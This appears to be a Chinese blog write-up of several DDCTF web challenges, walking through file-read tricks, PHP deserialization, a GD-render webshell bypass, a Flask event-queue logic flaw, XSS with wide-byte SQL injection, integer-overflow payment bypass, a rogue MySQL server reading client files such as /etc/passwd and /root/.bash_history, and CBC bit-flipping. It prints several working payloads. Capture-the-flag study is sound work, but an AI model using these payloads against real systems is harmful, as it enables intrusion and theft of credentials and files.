之前又是打比赛又是五月病,于是好久没更,该高产似那啥一波了x
滴~
这题真的是佛啦,一开始还以为是一道很简单的web签到题,看到title一串乱字符串就加个DDCTF然而并不是flag
F12可以看到一个看到一个用base64编码来解析为图片的代码段,然后url上有jpg应该是文件读取。然后尝试两次base64+一次base16成功解出是flag.jpg,于是用这个加密index.php获取源码。
解出来可以看到有两层过滤,一开始以为flag在config.php里然而绕不过去。于是去访问一下提示的博客,全篇在讲echo命令,感觉没什么关系。翻翻博主其他的博客,有篇关于swp文件的文章。看了一下然后尝试用python把.config.php.sw[p-a]都跑了一遍都没什么,然后看了看了评论区有人说.practice.txt.swp这个文件,于是和config.php同个操作依旧什么都没有。一脸懵逼之时想到之前拿swp文件时下载下来的都不带点,于是尝试一下practice.txt.swp就tm的拿到了flag文件【黑人问号.jpg
于是获取一下源码【!可以通过config替换绕过】
读一下一个变量覆盖,一个读文件内容与变量相同,那就用php://input
payload:1
2get ?k=php://input&uid=1
post 1
WEB 签到题
进去后F12 一下发现index.js
1 | function auth() { |
读一下可以知道需要在头部中传一个didictf_name的值过去
尝试几次后发现是admin
响应提示/app/fL2XID2i0Cdh.php
于是打开得到/app/Application.php和/app/Session.php的源码
先读一下/app/Application.php
1 | <?php |
可以看到Application类的析构函数进行了文件读取,还对路径进行了过滤,不过我们可以双写绕过,而且处理后的文件路径长正好是18于是不用理那个长度判断
到这里可以猜测是要我们反序列化这个类去读取某个文件
然后再读/app/Session.php
1 | <?php |
在session_read()中发现了反序列化,但这个反序列化不是随便都行的,要通过一个hash的验证才行。而hash是通过一串在../config/key.txt中的密钥连接cookie然后进行md5后生成的(这里其实可以用哈希长度扩列攻击吧?)
然后在同个方法中又看到了这段
1 | if(!empty($_POST["nickname"])) { |
那我们可以通过将nickname=%s获得密钥
这下思路就很清晰了,于是开始操作
先访问一下Session.php获取初始的cookie,然后将cookie放在头部然后post nickname=%s
获得密钥EzblrbNS
然后构建反序列化字符串,
1 | <?php |
最后用burpsuit发送获得flag
Upload-IMG
图片上传的题,要求文件中带有phpinfo()。尝试修改了MIME绕过不了,把phpinfo()写在图片中也不行,于是将上传前的图片和上传后的图片对比一下看看过滤了什么
发现上传前后的图片头部有些许的修改,增加了一段数据,查了一下才知道是gb库的图片二次渲染,会把图片中的代码也给转化成jpg图片的部分
绕过的方法查gb库的时候顺便就找到了
绕过GD库渲染的Webshell生成器
用这里大佬写好的脚本,把里面payload修改一下然后进行运行处理一下图片就可以了。可能一次成功不了多试几张图就好
homebrew event loop
一道python的审计题,刚触碰python web所以就详细的分析一下源码
首先是开头的部分,是用flask框架搭建的web服务
1 | from flask import Flask, session, request, Response |
然后看到app.route()这里,传入该方法的参数都是对应页面的url,然后接着下面的方法是处理该页面的代码,于是读一下entry_point()
1 | @app.route(url_prefix+'/') |
urllib.unquote(request.query_string)
是获得跟着url后的参数,就是?后面的部分,然后再用url解码。然后当传入为空或者不以action或者长度大于100时,跳回主界面。接下面的部分是设置session,然后request.prev_session
没查到是用来做什么的,但抓包会发现cookie中有个session的参数
用Flask-Unsign处理一下
会发现和设置的session值一样,看整个代码也没发现有其他地方进行了cookie的处理,于是猜测request.prev_session
是用来将需要的回传的参数进行加密后置入cookie中。
继续往下读看到trigger_event()
1 | def trigger_event(event): |
这个方法是用来将要调用的事件放入队列中,当事件数量大于5时取后5个,然后能处理列表与字符串
最后调用execute_event_loop()
1 | def execute_event_loop(): |
这个方法会将trigger_event()
设置好的队列中所有的事件都遍历一遍,然后当事件非func和action开头时会直接结束。
1 | is_action = event[0] == 'a' |
1 | def get_mid_str(haystack, prefix, postfix=None): |
这里是event以a开头时is_action为真,反之。然后获得:和;之间的字符串作为方法名,然后;之后通过#分割的为传入的参数
再往下就是当is_action为真时连接_handle,否则连接_function。然后调用方法并传参,再接下去就是一堆异常处理
然后读一下比较重要的函数,比如这两个带flag的函数
1 | def show_flag_function(args): |
可以看到show_flag_function直接访问也没有flag,get_flag_handler则需要我们购买的diamonds数大于等于5时才能获得flag
那就读一下buy_handler()
1 | def buy_handler(args): |
可以看到buy_handler函数之是进行了diamonds数的加操作,然后将consume_point()
放入了队列中,于是再读一下consume_point()
1 | def consume_point_function(args): |
consume_point()
则是对points进行减,当要减的值小于diamonds时就会进行回滚,让diamonds还原
分析完源码,很奇怪buy_handler和consume_point为什么要分开写,或者先判断是否points足够不是更好吗,于是就想这之间会不会有什么逻辑漏洞存在。
如果说我们能在获得第5个diamonds时,在触发consume_point之前就先触发get_flag_handler,那我们不就能获得flag了。顺着这个想法,我们可以看到trigger_event()
是可以将多个事件放入队列中的,而buy_handler是将consume_point放到队尾,那我们只要能往trigger_event()
用列表传多个数据过去那不就可以了。而能用来传队列值的地方只有这里
1 | event_handler = eval(action + ('_handler' if is_action else '_function')) |
这里我们可以用#来绕过,让后面接上的值无效。然后再传我们要执行的方法作为参数就ok
于是payload就是:
1 | ?action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1 |
这里不用%23会出错,然后get_flag_handle也是需要传值的,不然也是不行【这里是现在浏览器端进行了三次购买操作后的payload
最后再去cookie中拿出session解码获得flag
不过这题我还有其他的想法,比如用trigger_event()
给consume_point_function传入一个负数值也许可以让points变大?或者故意触发points不足,然后在回滚时是会去读取用户cookie里session中的值的,我们只要修改并加密,再将cookie回传不就可以获得将points设为任意我们想要的了?
欢迎报名DDCTF
一道xss+sql注入的题
拿题先扫一下,发现了几个页面
login怎么搞没什么效果,admin不允许访问,但题目提示了xss不是用来拿cookie,那应该是用来拿admin页面的源码,于是找xss注入点
在第三个输入框处有xss注入点,于是上<script src="//address">
获得源码,不过复现时一直不行,可能是机器人关了?拿其他大佬搞到的代码时ok的来着
然后看拿到的admin源码,发现一个query_aIeMu0FUoVrW0NWPHbN6z4xh.php接口,于是访问一下提示传id,于是抓包发现编码时gbk
于是猜测可能是宽字节注入
然后尝试到5个参数时有回显,于是直接一个个读
Payload:
1 | 3%df%27%20union%20select%201,2,3,4,5%23 |
最后这里没反应到不是同一个数据库卡了好久orz
大吉大利,今晚吃鸡~
这题注册登录进去后,点击立即购买就会生成一个2000元的支付订单,然而并没有这么多钱,于是找绕过点。再次点击然后看看发送了什么请求
发现了一个get传ticket_price的请求
抓包修改一下值提示不得小于2000元,用非数字直接出错
这里学到一个新姿势——整数溢出,当大于2^32时,最高位的1会溢出舍去,只剩后32位。于是这里我们传4294967297(2^32+1),然后再支付,这样我们实际上就只支付了1元
然后进到吃鸡界面发现要输入id和ticket淘汰对手,于是上脚本注册一堆小号一个个淘汰,最终得flag
1 | # -*- coding: utf-8 -*- |
【不会多线程呀(跪
mysql弱口令
一道关于反mysql扫描器的题,进去提示将agent.py部署在公网服务器上,然后对mysql开启的端口进行弱密码扫描
1 | #!/usr/bin/env python |
这个agent.py应该是用来作为8123端口上的一个服务器,然后扫描器会从该端口进入访问我们准备好的端口
这题利用的是mysql中LOAD DATA INFILE这个语法,它在客户端具有CLIENT_LOCAL_FILES属性时,能够读取客户端的任意文件
具体看这
Read MySQL Client’s File
于是我们可以伪造一个mysql服务端,修改连接请求,就能获得攻击方的文件
这里找了个github上写好的脚本,修改一下然后在服务器上运行,然后让扫描器扫描就可以了。
1 | #!/usr/bin/env python |
不过有点奇怪的是如果我停止3306端口上运行的
mysql,运行这个脚本,就会提示mysql未开启,需要修改一下agent.py才行。而换一个端口去运行就没这个问题【之后再研究看看
先获取/etc/passwd,读INFO:Result那个部分就好
然而没什么有用的,于是读/root/.bash_history
用脚本处理一下换行,会找到这样一段命令记录
1 | cd /home/dc2-user/ctf_web_2/ |
那就读一下/home/dc2-user/ctf_web_2/app/views.py
同样也是处理一下,然后可以看到有一段注释# flag in mysql curl@localhost database:security table:flag\r
那就去读一下flag表 /var/lib/mysql/security/flag.idb
但不知道为什么(可能是被删掉了),一直错误。于是尝试去读MySQL的操作记录,/root/.mysql_history
得到flag
再来1杯Java
看名字就知道是JAVA web的题
先根据提示修改一下host进入网站,提示要成为admin用户。看页面没到找什么能搞的地方,于是bp抓个包
看history可以看到,有两个接口,于是访问一下看看
发现account_info是获得用户身份,gen_token则是获得token。然后看token感觉像base64加密后的值,于是尝试解码一下
可以看到,这里提示了CBC加密,然后看返回的token长为48位,而account_info返回的json字符串长在32位以内,于是猜测前面位iv后面位密文
那接下来的目标就是要把roleAdmin
的值改为1(不太清楚为什么可以,明明java是强类型)。既然是CBC加密,那就上CBC翻转。
由于我们获得不到修改过一次后的iv值,于是不能直接把false改成true。这里我们要通过修改iv去控制第一段,同时将第二段置为脏字符,然后再修改第二段控制第三段{"roleAdmin":1,"xxxxxxxxxxxxxxxx":"1","id":001}
大概就是要弄成这样
这里控制iv改第一段很简单,iv^明文^目标
就ok。但第三段不好控制,因为第三段不存在,我们要拿前两段其中一段作为第三段,然后再对第二段进行一下处理
我们知道CBC加密解密时是在key解密后和加密段异或,那么如果要更改加密段,就要先明文^加密段获得key解密后的密文,再key解密后的密文^新加密段获得新明文。然后就是正常程序,用新明文^新加密段^目标就能控制添加的段
于是用第一段明文^iv^第二段^第二段^目标
得到第二段,然后把第一段接上即可。于是上脚本解决
搞定后提交访问,会多出一个下载的按钮
下载可以获得hint。
提示了
1 | 1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ |
用了spring框架同时不能执行命令
这里当然也抓包试一下,发现了一个可能是任意读取文件的接口
然后一波操作下去发现只能得到/etc/passwd,而且也没什么用,于是试着跑一下进程目录/proc/self/fd/
【少用intruder于是记录一下省得又忘了
可以明显看到15是有什么东西,读一下发现开头是pk
于是用python访问读取并二进制保存为zip,解压出来为一份源码